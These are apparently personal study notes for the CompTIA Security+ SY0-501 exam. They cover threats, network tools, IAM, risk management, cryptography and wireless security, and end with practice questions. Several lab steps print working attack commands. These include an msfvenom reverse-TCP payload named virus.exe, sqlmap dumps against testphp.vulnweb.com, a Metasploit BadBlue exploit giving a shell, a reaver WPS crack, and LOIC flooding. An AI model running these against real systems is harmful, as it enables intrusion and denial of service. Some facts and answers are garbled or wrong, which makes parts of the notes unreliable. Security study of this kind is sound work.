**CompTIA (Computing technology Industry Association) Security+**

What we’ll learn?

1. Course Introduction and Lab setup
2. Threats, attacks and vulnerabilities for compTIA Security+
3. Tools and Techniques for CompTIA security+
4. Network components configuration
5. Implement secure devices and protocols
6. Securing individual systems
7. Architecture and design
8. Identity and access mgmt
9. Configuring and implementing IAM
10. Risk mgmt
11. RISK mgmt plans
12. Cryptography and PKI
13. Install and configure wireless standards
14. SYO-501 exam practice

LAB Setup ---Analyze networks, applications, and devices-----1.windows 2.linux

Why: - Real world security issues

Troubleshoot and secure risks

Intensive topics to clear exam

**Lab Setup:**

Installation of windows and Kali Linux

How to get most out of the course

Create short notes

Perform tools

Understand the tools and their working

1. **Threats, Attacks and vulnerabilities :**

Determine malware and security in action

Malware attack:

System security:

Login to kali linux and open the terminal

Msfvenom –p windows/meterpreter/reverse\_tcp –a \*86 LHOST=192.168.136.128(ip of kali linux)

LPORT=777 –f exe>virus.exe

Python –m SimpleHTTPServer

Goto windows os disable anti virus and defender etc

Open a browser and copy the kali linux ip address :port

Download the virus.exe file and install it

Open cmd and type netstat – a =to check the connections

Download tcpview tool = to check the connections

**Types of cyber attacks on a system:**

1. Passive attack (monitoring ) using wireshark tool
2. Active attack(manipulating) using LOIC Tool
3. Download LOIC(from darknet) = used to perform flooding attack on that particular machine or website.

Threats and its attributes

It is the possibility of an attack using vulnerabilities

1. Deliberate: Intentional attack from hackers.

2. Accidental

3. Environmental

4. Negligence

**PenTesting Concepts and Techniques:**

It is necessary to find vulnerabilities in systems

1. BlackBox: no idea on network, system, app, ip etc

2. Whitebox: full idea on network, system, app, ip etc

3. Greybox: partial info

**Types of Vulnerabilties:**

Vulnerability means weekness of a system

1. Hardware

2. software

3. Network

4. Personnel

5. Physical

6. Organizational

Download and install “Acunetix” software to find vulnerabilities in a website.

Add Target and enter the website url

Click scan.

Select the type of scan and click on create scan

Download nessus home to scan network

Impact of vulnerabilities:

1. Elevation of privilege
2. Information disclosure

Login to kali linux

And open a web browser

Select a website (don’t do it on a real one)

Open vulnweb.com

Select mysql db.

Select artists tab

Just add ‘ after url to check

Open terminal

Sqlmap (best injection)

Root@kali: sqlmap –u testphp.vulnweb.com/artists.php?artist=1 –dbs

Y

Y

Sqlmap –u link

root@kali: ~# sqlmap –u testphp.vulnweb.com/artists.php?artist=1 –D acuart –tables

To find inside users column od db

root@kali: ~# sqlmap –u testphp.vulnweb.com/artists.php?artist=1 –D acuart \_T users –columns

TO find Unames:

root@kali: ~# sqlmap –u testphp.vulnweb.com/artists.php?artist=1 –D acuart –T users -C uname –dump

same way for remaining columns

Summary:

Looked at malware security

Discussed various cyber attacks

Looked at threats

Learned Pentesting concepts

Explained vulnerability types

Discussed the impact of vulnerabilities

Tools and Techniques for CompTIA Security+

1. Network scanner Tools
2. Protocol analyzer tools
3. Log analysis tool
4. Command line utilities

**Network scanner Tools and techniques:**

Process of scanning

Login to kali linux and open apps then choose vulnerability analysis

Now select one tool

Open nmap tool

#man nmap

Nmap –F 192.168.0.6 (targetted network ip)

Nmap sn 192.168.0.6 (To find target machine is live or not)

Nmap –pn 192.168.0.6

Nmap –traceroute 192.168.0.6

**Protocol analyzer tools and techniques:**

Process of analyzing protocols

Goto apps

Sniffing and spoofing

Wireshark or Ettercap –g

**Various log analysis Tools**

Log analysis cmds

Kali linux

Places/computer/var/log/apache2

Right click and open terminal

Ls

Cat access.log1

Access.log.1

Ls

Cat access.loh.1 | grep “safari”

Head –n 5 access.log.1

Tail –n 6 access.log.1

Tail –n 2 access.log.1

**Command line utilities: part 1**

Open kali linux

Pwd

Ls

Cd desktop

Leafpad

Ls

Cat Madhu.txt

Vi madhu.txt(ctrl +Z) –vi editor

Mkdir a

Rmdir a

Ls

Cd a

Mkdir b

Ls

cd..

rmdir a (will not work bcz b dir is a dir)

mkdir a b c d

ls

cd..

pwd

mkdir m1

ls

cd a10

mkdir a11

cd..

rm –R a10

Command line utilities part2

pwd

Touch – we can create black files

Cd desktop

Ls

Cat a

Vi a

Press i to insert

I’m Madhu

To save esc

:wq enter cat a

Mkdir m

Cp a/root/desktop/m

Ls

Cd m

Ls

Mv a z

Ls

Mv z a

Whoami

Passwd -> to change password

Ping 192.168.0.6

Ifconfig

Traceroot [www.google.com](http://www.google.com)

Ps => to check processes are running

Kill 5055

Cd desktop

Ls

Cat a

Vi a

Myname is madhu

Im an ethical hacker

Cat a | grep “hacker”

**Network components configuration :**

1. Firewalls
2. IDS, IPS and VPN
3. Layer1 and Layer2 devices
4. Routers, load balancers, access points
5. NAC, DLP and mail gateways.

Firewalls, proxies and filters:

Firewall is a security system in the network

1. Packet filtering (network layer osi model)
2. Circuit level(session layer)
3. Application layer (app level)
4. Stateful inspection (mix of all above)

Tor Browser

Turn on windows defender firewall

And we can create own rules

Ex: click on inbound rules

Click on new rule

Select port enter 21 next

Block all connections and next next enter name 21 block then finish

Same way for outbound rules

IDS,IPS and VPNs:

IDS: intrusion detection system:- detects malicious traffic in the network.

IPS: Intrusion prevention system:- prevents malicious traffic in network

Network based, host based.

VPN: virtual private network: acts like a tunnel to exchange data securely.

1. Host based IDS Tool: kfsernsor (download 30 days free trail version) and install

Layer1 and layer2 devices:

Physical layer: it deals with physical connectivity of 2 stations

It uses cabling, wiring and pulses to represent signals

Data-Link layer : it transfers data in network nodes in networks

Layer1 devices:

Hubs, repeaters, cables, fibers, wireless

Layer2 devices:

Bridges, modems, cards, switches.

**Routers, Load balancers and Access points:**

Router: connects 2 networks for data transfer

Load balancer – Improves distribution of workload

Accesspoint – a device to connect hardware to wired network.

**NACs, DLPs and mail gateways:**

NAC: Network access control, it is an approach for securing networks.

NAC Technology: anti-virus, IDS, IPS and so on

DLP: data loss prevention, it protects users to send sensitive data outside.

Mail Gateway: it is a machine that handles connections between networks.

**Implement secure devices and protocols for compTIA security+**

Mobile connection methods:

Ex: cellular networks – 20 miles

Wifi networks – shorter distance

Satellite – slow and expensive

Near field technology(NFC) – centimetre distance

Bluetooth: 30 feet distance

ANT networks- between sensors and controllers

Infrared – between transmitter and receiver

USB connections

Mobile device mgmt:

A term for administration of various mobile devices

Laptop, smart phones, tables and so on

MDM enforces policies of corporate

EX: securing mails, data segregation, securing documents and so on.

It monitors device location, status, activity and ownership

It is able to perform troubleshooting remotely

It can also update devices

**Mobile devices concerns:**

Security risks

Data loss

Compliance

Personal data

Privacy

Secure communication protocols:

IPsec VPNs:

SSL VPNs

Mobile VPNs:

Secure Network and Administration protocols:

Acronym Name

NTP Network time protocol

LDAP Lightweight directory access protocol

SSH Secure shell

SRTP Secure real time transport protocol

DHCP Dynamic host configuration protocol

DNSsec Domain Name system security

Securing individual systems:

Host threats

Physical Hardening

Encryption techniques

Security devices

1. Logic Threats: Hacker’s might use outdated software’s in your system
2. Resource threats: attacker is trying to flood in your system

Download and install “badblue” software (To create buffer overflow in windows machine)

root@kali:-# msfconsole

msf> search badlue

maf> use exploit /windows/http/badblue\_passthur>show options

Set RHOST

Cmd: ipconfig

Set RHOST 192.168.0.8

Exploit press enter

Help

Sysinfo

Shell

Now we have successfully attacked windows machine

Exit

Ps –to check all the processes running in the windows machine

Physical Hardening:

1. Security patches
2. Firewall installation
3. Close certain ports
4. Keep backups
5. Create strong passwords
6. Don’t allow file sharing
7. Use Encyrption

We can turn off and ON firewall ports.

Use bitlocker drive encryption

**RFI, EMI and ESD:**

RFI: Radio frequency interference

Ex: Electronic device emits radiation in radio range

EMI : Electromagnetic interference

Ex: Electronic device emits radiation

ESD: Electronstatic discharge

Ex: Electric charge in objects: use ESD wrist strap

**Host Hardening:**

Program cleanup

Use of service packs

Patch management

Group Policies

Security templates

Configuration baselines

**Data Encryption:**

Download and install “axcrypt”

Create a folder and file inside it(demo.txt)

Open axcrypt software and add the demo.txt file and signout from the software

Now try to open that demo.txt file, it will ask for password.

**Firmware security:**

Firmware is a computer software that provides control for device hardware.

It is in non-volatile memory devices

Ex: Rom,EPRIM, Flash memory and so on

Firmware update is important but risky

**IDS and IPS:**

IDS:Intrusion detection system

IPS: Intrusion prevention system

IDS: IPS:

Detection and monitoring tools Protection tools

DO not take action on their own It accepts/rejects packets

It requires human/system It requires updated database

**Architecture and design :**

Frameworks and best practices

Implementing secure network

Securing staging deployment

Cloud and virtualization

Physical security

Ex: web server security- secure web servers, email server and so on

Remove unnecessary services and programs

Remove unnecessary protocols

Server and application logs

**Implementing secure network architecture:**

Security of the weakest link

Failsafe Implementation

The least privilege models

Use cryptographic models and techniques

Perform vulnerability tests

OSI Model

Layers

Application Layer

Presentation Layer

Session Layer

Transport layer

Network Layer

Data Link Layer

Physical Layer

**Secure staging deployment:**

If application is ready, we ask end user to check the o/p of application

This process is called staging deployment

We will test the application for production

🡪Developement-🡪test🡪 stating🡪production🡪

**Cloud and Virtualization:**

Cloud computing uses virtualization

Cloud computing is a service but virtualization is a software

Virtualization reduces IT costs

Low maintenance

Increase in efficiency

**Physical Security Controls:**

Physical security is totally bases on physical security devices

Ex: Hardware lock, identification badge, CCTV cameras and so on..

Privacy is important for video surveillance

Consider below points:

Record only in public area

Notify Employees

Don’t record audio

**IAM: Identity and access management:**

Identification, authentication and authorization

Biometrics

Authentication factors

Single sign on

Ex: Username and password panel

Identification is when user provides his identity such as username, email id, and so on

Then user must provide idenitity to access services

🡪User - > Identification 🡪 access 🡪 Object

Identification: who you are – username, smart card, smart ID

Authentication : permissions – what services are allowed to access

Authorization: Permissions – what services are allowed to access

User 🡪Identification 🡪Authentication 🡪 Authorization🡪object

**Identification, Bio metrics and PIV**

BioMetrics: Verification through a physical characteristic

Fingerprint

Retina

Voice id:

PIV : personal identification verification card

Ex: us federal smart card

Access to federal facilities and information systems

Establsihed by FIPS(Federal information processing standard)

**Authentication Factors:**

Something you know- password for sensitive data

Something you have – smart card, token, two factor

Something you are – fingerprint, retina, scan, face id

Somewhere you are – location –based (Ip address, location)

Something you do- signature, pattern and language.

**Single Sign On:**

Allowing users to access all resources in single environment

Single username and password

It’s difficult to remember different usernames and passwords

If users write down credentials, that is risk

Management of various services

Easy to change/update password of all services

**Implementation of IAM services:**

Authentication services introduction

Function and purpose

1st verify the user and control access of various resoirces

Verify servers

Verify resources

Provide confidentiality , integrity and availability of data

CIA Traid

Integrity 0 confidentiality availability

Tranignle shape image

0 represents ball should be in the centre of traingle

**Radius, Tacacs and tacacs+:**

Radius: Remote authentication and dail in user service

It provides AAA capability

Authentication, authorization and accounting

A->Authenticator—Radius—AD/LADP

TACACS: Terminal access controller access control system

It was used for controlling MILNET

It is replaced by XTACACS

XTACACS: Extended terminal access controller access control system

Not compatible with TACACS

**TACACS+**

**Common** implementation

TCP port 49

It encrypts entire communication

Not vulnerable/security issues with RADIUS

Authentication and authorization are in separate servers

RADIUS TACACS+

Authentication and authorization are combined | here both are separate

Excrypts password Encrypts username and password

Requires each device to contain authorization Centralized mgmt for authorization

Minimal vendor support Support by major vendors

UDP – 1645, 1646,1812,1813 TCP-49

No command logging Full command logging

**Kerberos, LADP and Secure LDAP:**

**Kerberos**: Network authentication service

It is developed by MIT

Mutual authentication between client and server

PC-service ticket+ DC—pc-request for TGT—

Service ticket+ authenticator -- >server

**LDAP:**

LDAP :lightweight directory access protocol

TCP/UDP port 389

LDAP is a tree structure

DC: domain component

OU: organizational unit

CN: comman name

DC(tree structure)

OU OU

CN CN CN

**Secure LDAP:**

LDAP over SSL/TLS

TCP port 636

It doesn’t send LDAP queries in clear text, so it is secure

Block port 636

**SAML, CHAP, NTLM Services:**

SAML: Security association Markup Language

Authentication through a 3rd party to gain access

Mutual authentication between client and server

Ex: Login through FB, gmail or twitter accounts.

Client🡪 resource🡪 SAML

CHAP:

Challenge handshake authentication protocol

Authentication of ppp clients

No use of plain text

Client –client wishes to connect 🡪server

Challenge question

Server access

**NTLM/NTLMv2**

LAN Manager: developed by microsoft in windows early OS

NTLM : Authentication protocol in early microsft os

NTLMv2: Introduced with windows NT4

Kerberos: NTLM was replaced by kerberos

**Access control Methods:**

Access control : it is a type of restriction to access resources

MAC(mandatory access control) - Inflexible, rigid-most secure

DAC (Discretionary Access control) – Flexible dynamic access –least secure

RBAC( Role bases Access control) – Access based on role

RBAC( rule based Access control) – access based on predefined list.

**BioMetric and face recognition:**

Fingerprint scanner

Ratinal scanner

Iris scanner

Voice Recognition

False Acceptance rate – rpobability that system incorrectly authorizes a non authorizes a non authorized person

False Rejection Rate – Probability that system incorrectly rajects to an authorized person

Crossover Error Rate- where accept and reject rates are equal

Facial Recognition:

Software that can detect a person’s identity based on facial charasteristics

Latest 3D technology

Weakness:

Low – resolution pictures

Change in appearance(hars, scarfs, sunglasses and so on)

Changes in facial expressions

**Securing ports and 820.1x**

Configuring a switch

One max address per port

Fake mac address problem

**802.1x Authentication**

802.1x – EAPOL: Extensible authentication access protocol over LAN

Allows only EAPOL traffic over port

PC ---EPOl –switch –radius –server

**RISK Management for compTIA security+:**

1. Security cycle
2. Risk and business impact analysis
3. Threat
4. Data security practices

Security cycle and standard procedures:

1.Assests🡪threats—weakness 🡪exposure🡪risk🡪controls🡪Assets

Assets(servers, clients, firewals, ids, ips etc)- endangered by threats can exploit- weakness- resulting in exposure--> Leading to risk --< mitigated to controls—to protect assets.

Standard operating procedure

Define methods of performing tasks

Define methods of performing operations

Way of acting in a designated situation

**What is Risk:**

**Risk:**Exposure of danger.

**Risk Calculation:** An identification process of threats, the impact of threa and how quickly systsems can recover

**ALE:** Annual loss expectancy

**Impact:**\

**SLE:** single loss expectancy

**ARO:** Annualized rate of threat occurance)

**RISK Management:**

**Risk** Transference – transfer risk to 3rd party (insurance company)

**Risk Acceptance: -**  what is the cost of removing risk?

**Risk Mitigation:** what level of reduction is acceptance?

**Business impact Analysis:**

Identification of critical systems:

Full audit of network

Perform vulnerability assesment

Perform penetration testing

Monitor data flow in network

System Availability

**Determining Impact:**

Reputation, life, property, safety , finance

What is Threat?

Threat Types:

Threat is a possible danger which can exploit vulnerabilities.

Script kiddle, hackvists, organized crime, insiders, competitors

Script kiddle: hacker don’t have any idea of coding but they will use tools created by others an attack

Hackvists: To promote political agenda, perform attack and promote

Organized crime: with full idea

Insiders: Leaking the company secreats by their employees

Competitors: to gather info about other companies

**Data Security Practices:**

Concurrent Futures:

Improper disposing of data: it can reveal sensitive information

Ex: disposing of drives

Incorrect classfification of data: Release top secreat data

Ex: highly classified data

Misunderstanding data retention/legal: Not following rules

Ex: not following rules, reputation damange.

**Data Destruction Techniques:**

**Bu**rning, Shredding, Pulping

Pulverizing Degassing, purging & wiping

**Risk management Plans:**

Incident response and plans:

1. Incident and types
2. Incident response plans

Who should watch?

Security staff, managers, tech support

Incident response team, Adminstrators, End users

**Incident Types(Functional Impact)**

Category definition

None No information was changed, deleted or compromised

LOW Minimal Effect

Medium Organization has lost ability to provide critical services

High Organization cannot provide any services

**Informational Impact:**

None Organization can provide all services to all users

Breach in privacy sensitive data of employess was accessed

Proprietary breach Criical infrastructure information was accessed

Loss in integrity sensitive information was deleted/changed

Recoverability Effort:

Regular Recovery time is predicted with exisiting resources

Supplemented Recovery time is predicted with aditional resources

Extended Recovery time is unpredicted

Not Recoverable Recovery is not Possible

**Incident response process:**

🡪Preparation 🡪detection and analysis 🡪containment🡪Eradiction🡪recovery—document 🡪

Incident response preparation:

Identity team

Define roles

Develop defense in depth

Forensics Fundamentals:

Computer forensics: Analysis of digital data/determination od criminality

-computers

-phones

-external drives

-internet activity

-messages

-game concoles

**Data Acquistion techniques\:**

The process of making forensics images from computer media

-hard drive

-thumb drive

CDROM

Servers

Gaming consoles

Data Acquisition process

-Forensics image is created using hardware

For ex: forensics investigator uses images , not original data

This process includes recording of serial numbers

It also includes recording of digital markings using digital cameras

The image is first verified with the original content

**Recovery and Restoration:**

Data recovery is possible if:

1. It has not been overwritten
2. Wiped
3. NAN reset
4. It is physically dastroyed

Data protection and restoration:

1. Original system-

🡪system\software

1. Original system 🡪 hardware –cloned system –now we can perform testing

**Data Retention and destruction:**

Stirage of organization’s data for business reasons

These policies are created as collaboration between IT, legal and business owners

It can reduce org’s storage cost.

**Cryptography and PKI:**

Cryptography and stenography

Cryptography is a process of convert plain text in to cipher text

Stegnography: hide secret data

Plain text 🡪 encryption🡪cipher text

File 🡪 stegnography 🡪hidden file

Open browser and open MD5 online

Enter any string and click on encrypt

To Decrypt:

Use hashkiller.co.uk

MD5 dryptor

Download quickstago tool(free stegnography software)

**Types of Enxryption:**

1. Symmetric:- uses shared secret encryption (AES,DES, RC4, RC5)
2. Asymmetric : uses private and public keys(DSA,RSA,PGP)

**Hashing:**

It is one way function for authentication using encryption

Uses a function and generates a smaller file

Using hashes, we can check if original file has been altered or not

These are provided with software on the internet

MD5 is the most popular hashing algorithm

Login to klai linux

Open forensics and then open hashdeep

Clear

Leafpad

I am an ethical hacker and save it on root folder(demo file)

Now create the hash value for that demo folder

#hashdeep demo

If you change file content every time hash file will change

**Digital Signatures:**

Digital signature is used to verify authenticity of digital messages/documents

Recipient can verify the recived messages/documents

Sender cannot deny having sent that message: it is called non-repudiation

John hi sam🡪 sign john’s provate key

Hi sam +sign

Sam hi sam <-------verify john’s public key

Digital certificates:

Is a way to exchange data securely over the internet

It uses electronic password

Also called public key certificate/identity certificate

Identification, confidentiality, integrity, non0reputation, access control

**Key life cycle management:**

It is administring the life cycle of encryption keys

Protect keys from loss and misuse

Used to secure crypto system

Effective for data protection

**Key lifecycle mgmt:**

Creation-backup-deployment-monitoring-rotation-expiration-archival-destruction

**Install and configure wireless protocols:**

Wireless cryptography protocols

1. WEP: wired equivalent privacy (week)
2. WPA: wifi process access (strong)
3. WPA2 Wifi protected access v2(advanced)

Wep Issues:

Key distribution

Encryption issues

Wireless attack

WPA Issues:

Security

Temporary

Configurable

WPS Issues:

Pin(8 digit pin) but only 4 digit pin is enough to hack

Push button connect

**Crack 802.11 WEP:**

Wireless Tools:

Wifite

Man wifite

#wifite

1st it will start monitor out system and provide data

Reaver, fernwificracker, wifite

Ex: reaver –i wlan0mon –b 000:90:4c:c1:AC:21 –vv

**Crack 802.11 WPA:**

Login to kali linux os

Restart kali linux os/pc

Connect wifi with mobile hotspot

**CompTIA security SY0-501 exam practice questions:**

1. Which malware can encrypt files in systems?

a.virus

b.ramsonware

c.worm

d. keylogger

Ans: B

Ramsonware encrypt files in systems

1. In which attack does the attacker secretely listen to conversations?

a.shoulder surfing

b.dumpster diving

c.eavesdropping

d.All

Ans:C

In eavesdropping attack, attacker secretely listen to conversations

1. Which of the following services user port number 22?

a.ssh

b.ftp

c.telnet

d.none

Ans: A

SSH uses port number 22

1. Which toll can be used for system exploitation?

a.wireshark

b.wifite

c.metasploit

d.none

5. which of the following process takes more time

a. brute-force attack

b. dictionary attack

c. Hybrid attack

d. memory leak

Ans: A brute force attack is a long process and takes time

1. You identify a system which is slower over a couple of days, what is actual reason?
2. Improper Error Handling
3. Untrained user
4. Race condition
5. Memory leak

Ans: D, memory is not free

1. Which of the following provides information about biometric false acceptance rate?
2. Acceptance and rejections are equal
3. Rejection of authorized user
4. Allow unauthorized user
5. Failure to identify a biometric image

And: C- Allow access of unauthorized user

1. Which of the following protocol uses port number 443?
2. HTTP
3. HTTPS
4. POP3
5. SMTP

Ans: B, Https uses port number 443

1. Which of the following malware can spread in a network automatically ?
2. Virus
3. Adware
4. Worm
5. Spyware

Ans: c-worm can spread in a network automatically

1. Which of the following is the weakest form of encryption?
2. WEP
3. WPA
4. WPA2
5. None
6. Port no. Of MySQL is ?
7. 23
8. 25
9. 3306
10. 8080

Ans: C

MySQL port number is 3306

1. Which of the following malware has a feature to attack itself with a file?
2. Virus
3. Worm
4. Trojan
5. Spyware

Ans: C Tojan can attach itself with a file

1. Which file in windows stores windows login credentials?
2. Networks
3. Hosts
4. Sam
5. Shodow

Ans: C SAM file stores windows login credentials

1. Which of the following attack is hardest to detect?
2. DDOS
3. Phishing
4. Insider attack
5. None

Ans: C , insider attack is hardest to detect

1. Malware infected network under remote control of hacker is called?
2. Virus
3. Worm
4. Botnet
5. Honeypot

Ans: C, Remote control network is called botnet

1. Which of the following tool can be used to perform brute force attack?
2. Hydra
3. Medusa
4. Ncrack
5. All

Ans: D, All of them can be used to perform brute force attack

1. Which tool can be used to create wordlists?
2. Netdiscover
3. John
4. Sqlmap
5. Crunch

Ans: crunch is used to create dictionary

1. Which tool can be used to perform SQL Injection attack?
2. Sqlmap
3. Jsql
4. Sqlsus
5. All

Ans: D, All tools can be used to perform SQL injection attack

1. Which of the following tools can be used to perform wireles hacking?
2. Wifite
3. Fern
4. Reaver
5. All

Ans: D, All of them can be used to attack on wireless

1. Malicious code activated by a specific event is called?
2. Backdoor
3. Logic bomb
4. Virus
5. Trojan

Ans: B, Logic bomb activates by a special event

1. Which of the following provides best secuirty during war time?
2. AES
3. 3DES
4. One time pad
5. RSA

Ans: C

One time pad provides best security during wartime in military

1. Which kind of web attack can gather sensitive information from database?
2. Buffer overflow attack
3. DOS attack
4. SQL Injection attack
5. Unvalidated redirection attack

Ans: C, sql injection is used to attack on databases

1. Which malware can replicate itself?
2. Virus
3. Worm
4. Both
5. None

And: C, virus and worm both can replicate

1. Which of the following provides example of detective control versus prevention control?
2. IDS/Camera versus IPS/Guard
3. IDS/IPS versus camera/guard
4. IPS/camera versus IDS/Guard
5. IPS versus Guard

Ans: IDS, camera detect but IPS, guard prevent

1. Which of the following is related with certificate issues?
2. Prevention of legitimate content
3. Release of confidential information
4. Algorithm mismatch error
5. Unauthorizez transfer of data

Ans: C, Algorithm mismatch error issue is related with certificates

1. Which of the following can reduce effectiveness of good password policy?
2. Account disablement
3. Password recovery
4. Account lookout
5. Password reuse

Ans: D

Password reuse can reduce the effectiveness

1. Phishing targeting special individual is called?
2. Spoofing
3. Vishing
4. Spear phishing
5. Whaling

Ans: C

Spear phising targets special target

1. Wireshark can be used to perform a man-in the middle attack, is it true?
2. True
3. False

Ans: A

Wireshark can be used to perform MITM attack.

1. Penetration means?
2. Intrusion
3. Weakness
4. Method
5. All

Ans: A

Intrusion is also called penetration

1. Exploit means?
2. Method
3. Attack
4. Intrusion
5. All

Ans: A , exploit menas method that perform malicious action

1. Which of the following is a social engineering attack?
2. Phishing attack
3. Mass Mailer attack
4. File format payload attack
5. All

Ans: D , all of them are social engineering attacks

1. What is DODS attack?
2. Phishing attack
3. Flooding attack
4. Sniffing attack
5. Wireless attack

Ans: B , DOS attack is a flooding attack